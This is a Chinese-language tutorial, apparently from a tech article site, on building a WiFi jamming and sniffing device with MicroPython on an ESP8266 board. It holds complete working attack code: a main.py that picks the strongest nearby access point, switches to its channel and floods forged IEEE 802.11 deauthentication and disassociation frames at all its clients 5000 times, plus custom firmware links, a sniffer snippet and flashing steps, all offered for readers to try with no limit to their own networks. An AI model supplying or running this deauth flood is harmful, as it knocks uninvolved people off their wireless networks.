您好,登錄后才能下訂單哦!
這篇文章主要介紹“MicroPython怎么實現wifi干擾與抓包”,在日常操作中,相信很多人在MicroPython怎么實現wifi干擾與抓包問題上存在疑惑,小編查閱了各式資料,整理出簡單好用的操作方法,希望對大家解答”MicroPython怎么實現wifi干擾與抓包”的疑惑有所幫助!接下來,請跟著小編一起來學習吧!
0x01實現原理
a) 通過查閱資料和arduino的源碼分析,了解到實現攻擊其實就是發送IEEE802.11協議解除認證包,根據MAC層幀格式發送自定義的虛假deautch數據包。
b) 調用ESP8266SDK中wifi_send_pkt_freedom函數,發送攻擊包。
0x02攻擊構思
a) 程序一開始掃描附件的AP。
b) 找到信號最強的AP,獲取到他的MAC地址(bssid)和信道。
c) 將TPYBoardv202切換到同攻擊AP相同的信道。
d) 使用攻擊AP的MAC地址,組合deauth解除認證包發送。
0x03編譯燒寫固件及程序源碼
1、 編譯固件
現有的micropython-esp8266固件中,并沒有引出wifi_send_pkt_freedom函數,于是
我自己動手編譯了一次固件,地址:
https://github.com/PakchoiFood/micropython-deauth
大家可以自行下載燒寫使用,如果有的小伙伴想自己編譯修改固件的話,請參考:
https://github.com/micropython/micropython/tree/master/esp8266
需要注意:在編譯esp8266-sdk時,注意版本必須是1.3.0版本,否則wifi_send_pkt_freedom函數會一直返回-1失敗。
下載后解壓,文件如下:
firmware.bin文件:micropython-esp8266生成的固件。
增加的內容:
setAttack函數
參數:int類型(信道)
功能:設置esp8266的信道
send_pkt_freedom函數
參數:bytes數組(定義的數據包)
flash_download_tools_v3.3.6_win.rar:燒寫固件的工具。
MicroPythonFileUploader.rar:用于將程序下載到TPYBoardv202Flash的工具。
main.py文件:程序源碼文件,主要實現附件AP的掃描、數據包的組合和調用發送。
import time import uos import wireless sta_if=wireless.attack(0)#0:STA 模式 sta_if.active(True) ap_list=sta_if.scan() print(ap_list) ssid='' bssid=''#bssid:AP MAC address channel=''#信道 _client=[0xFF,0xFF,0xFF,0xFF,0xFF,0xFF]#默認 def deauth(_ap,_client,type,reason): # 0 - 1 type, subtype c0: deauth (a0: disassociate) # 2 - 3 duration (SDK takes care of that) # 4 - 9 reciever (target) # 10 - 15 source (ap) # 16 - 21 BSSID (ap) # 22 - 23 fragment & squence number # 24 - 25 reason code (1 = unspecified reason) packet=bytearray([0xC0,0x00,0x00,0x00,0xBB,0xBB,0xBB,0xBB,0xBB,0xBB,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0xCC, 0xCC, 0xCC, 0xCC, 0xCC, 0xCC,0x00, 0x00,0x01, 0x00]) for i in range(0,6): packet[4 + i] =_client[i] packet[10 + i] = packet[16 + i] =_ap[i] #set type packet[0] = type; packet[24] = reason result=sta_if.send_pkt_freedom(packet) if result==0: time.sleep_ms(1) return True else: return False if __name__=="__main__": max_rssid=0 max_id=0 num=0 #獲取信號最強的AP 進行攻擊 for i in ap_list: if max_rssid==0: max_rssid=i[3]#rssid else: if i[3]>max_rssid: max_rssid=i[3] max_id=num num+=1 ssid=ap_list[max_id][0] bssid=ap_list[max_id][1] channel=ap_list[max_id][2] print('ssid:',ssid,'-bssid:',bssid) print('-channel:',channel,'-rssid:',max_rssid) sendNum=5000#攻擊次數 print('******************************') if sta_if.setAttack(channel): print('Set Attack OK') time.sleep_ms(100) print('---deauth runing-----') for i in range(0,sendNum): r_=deauth(bssid, _client, 0xC0, 0x01) if r_: deauth(bssid, _client, 0xA0, 0x01) deauth(_client, bssid, 0xC0, 0x01) deauth(_client, bssid, 0xA0, 0x01) time.sleep_ms(5) else: print('---deauth fail-------') time.sleep_ms(5000)
sniffer文件夾下的main.py實現網絡抓包功能。
import wireless import time #可以指定信道1~13 sniffer=wireless.sniffer(6) #0:表示從信道1開始 定時切換信道 #sniffer=wireless.sniffer(0)
燒寫固件
1、 TPYBoardv202使用microUSB數據線接入電腦。查看安裝的usb轉串的端口。打開電腦的設備管理器(這里是COM57)。
2、 解壓flash_download_tools_v3.3.6_win.rar,雙擊運行ESPFlashDownloadTool_v3.3.6.exe。
3、選擇firmware.bin固件文件,地址0x00000,其他參數根據下圖設置。我的COM選擇COM57,根據自己的實際端口選擇,波特率選擇115200。
4、點擊【START】,界面提示等待上電同步。按住板子上的FLASH鍵不松,同時按一下RST鍵復位上電。左側空白區顯示讀取的MAC地址,狀態顯示下載中,此時松開按鍵即可。
5、等待下載完畢,關閉軟件退出。
下載程序
6、解壓MicroPythonFileUploader.rar,雙擊運行MicroPythonFileUploader.exe。
此軟件需要.NETFramework4.2及以上版本,若打開失敗,請安裝.NETFramework后再使用。
.NETFramework4.5下載地址:http://www.tpyboard.com/download/drive/174.html
7、選擇COM57,點擊【Open】打開串口。
8、點擊右側的文件夾圖標的按鈕,選擇main.py文件。
9、此時可以點擊【Send】,將程序發送給TPYBoardv202。發送成功后,程序自動運行。
10、接下來將sniffer下的main.py同樣的是方式下載到板子里。(文件會覆蓋)
打開串口助手,就可以看到esp8266抓包的數據。
到此,關于“MicroPython怎么實現wifi干擾與抓包”的學習就結束了,希望能夠解決大家的疑惑。理論與實踐的搭配能更好的幫助大家學習,快去試試吧!若想繼續學習更多相關知識,請繼續關注億速云網站,小編會繼續努力為大家帶來更多實用的文章!
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。